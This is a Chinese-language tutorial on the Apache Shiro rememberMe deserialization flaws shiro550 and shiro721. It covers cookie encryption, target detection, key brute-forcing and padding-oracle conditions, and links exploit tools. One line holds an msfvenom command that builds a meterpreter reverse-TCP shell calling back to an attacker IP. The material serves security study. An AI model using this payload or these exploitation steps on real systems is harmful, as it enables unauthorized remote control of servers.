shrio漏洞利用
一、shiro介绍
Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。
二、shiro550漏洞(CVE-2016-4437)
2.2 环境搭建
1 | 拉取docker镜像 |
2.2 漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
产生原因:shiro接受了Cookie里面rememberMe的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
利用方式:我们需要构造Cookie里面rememberMe的值,先payload,再序列化,再AES加密,再Base64编码,最后发送数据包,代码详细参考
rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
2.3 漏洞危害
影响版本:Apache Shiro < 1.2.4
服务器权限丢失
2.4 漏洞发现
特征:返回包中包含rememberMe=deleteMe字段
https://github.com/feihong-cs/ShiroExploit
https://github.com/SummerSec/ShiroAttack2/releases/tag/4.7.0
爆破key
后续就自动化上工具利用吧
root权限
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.40.20 LPORT=6666 -f elf -o /root/1.elf 生成木马 |
可以互通
成功上线到msf,后面就后渗透那一套
2.5 漏洞分析
- 首先正常登录,然后生成带有rememberme的返回cookie值
生成cookie
shiro会提供rememberme功能,可以通过cookie记录登录用户身份认证信息,即下次无需登录即可访问。处理rememberme的cookie的类为
org.apache.shiro.web.mgt.CookieRememberMeManager
之后进入serialize,对登录认证信息进行序列化
然后加密,调用AES算法
加密结束,然后在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回
解析cookie先解密再反序列化
AES是对称加密,加解密密钥都是相同的,并且shiro都是将密钥硬编码
调用crypt方法利用密文,key,iv进行解密,解密完成后进入反序列化,看上面的public AbstractRememberMeManager()这里用的是默认反序列化类,然后触发生成反序列化漏洞
2.6 代码调用分析
- 得到cookie并进行base64解码
- 继续跟调用
- 找到AES解密和反序列化调用
- 先看解密函数
- 密钥的赋值链条
得到是一个常量,即为base64编码的密钥key - 反序列化线路
shiro中重写了ObjectInputStream
类的resolveClass
函数,ObjectInputStream
的resolveClass
方法用的是Class.forName
类获取当前描述器所指代的类的Class对象。而重写后的resolveClass
方法,采用的是ClassUtils.forName
在传参的地方如果传入一个Transform
数组的参数,会报错,所以并不支持传入数组类型
关于反序列化链的利用,详细可以看看这个文章:
shiro反序列化-CB链利用 - FreeBuf网络安全行业门户 - 需要注意的点
如果已经登录吧session删掉
2.7 数据包分析
这个Remember Me的功能
- 不勾选并正确登录
第一个数据包,提交数据的包
后续数据包,均没特征 - 勾选并正确登录
第一个数据包,提交数据的包
后续数据包,都会带上这一段cookie(这就是我们利用的点) - 爆破数据包特征
数据包特征 - 爆破成功数据包特征(面试问到,就研究一下)
我们先拿一个错的检测
第一个数据包(检测是否shiro框架的,不用管)
第二个数据包
再拿一个对的检测
第一个数据包 依旧一样(不用管)
第二个数据包 - 命令执行数据回显
- 结论
- 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
- 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
- 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有ememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
三、shiro721漏洞(CVE-2019-12422)
3.1 漏洞介绍
在1.4.2之前的Apache Shiro,当使用默认的 “rememberMe “配置时,cookies可能容易受到填充攻击,即上面提到的shiro550
Shiro之后的Apache Shiro,跟shiro其实没太大安全问题,主要是对加密方式的攻击,即shiro721
- shiro-721用到的加密方式是
AES-128-CBC
,而且其中的ase加密的key基本猜不到了,是系统随机生成的 - 这种加密方式容易受到
Padding Oracle Attack(填充提示攻击)
,利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后构造 RememberMe Cookie 值来实现反序列化漏洞攻击
3.2 漏洞利用的条件
- 合法用户的cookie中获取RememberMe值
- 攻击者能够获取到密文(基于分组密码模式),以及
IV向量
(通常附带在密文前面,初始化向量) - 攻击者能够修改密文触发解密过程,解密成功和解密失败存在差异性
3.3 漏洞成因
参考加密算法的填充攻击
Padding Oracle Attack(填充提示攻击)详解及验证 - 简书 (jianshu.com)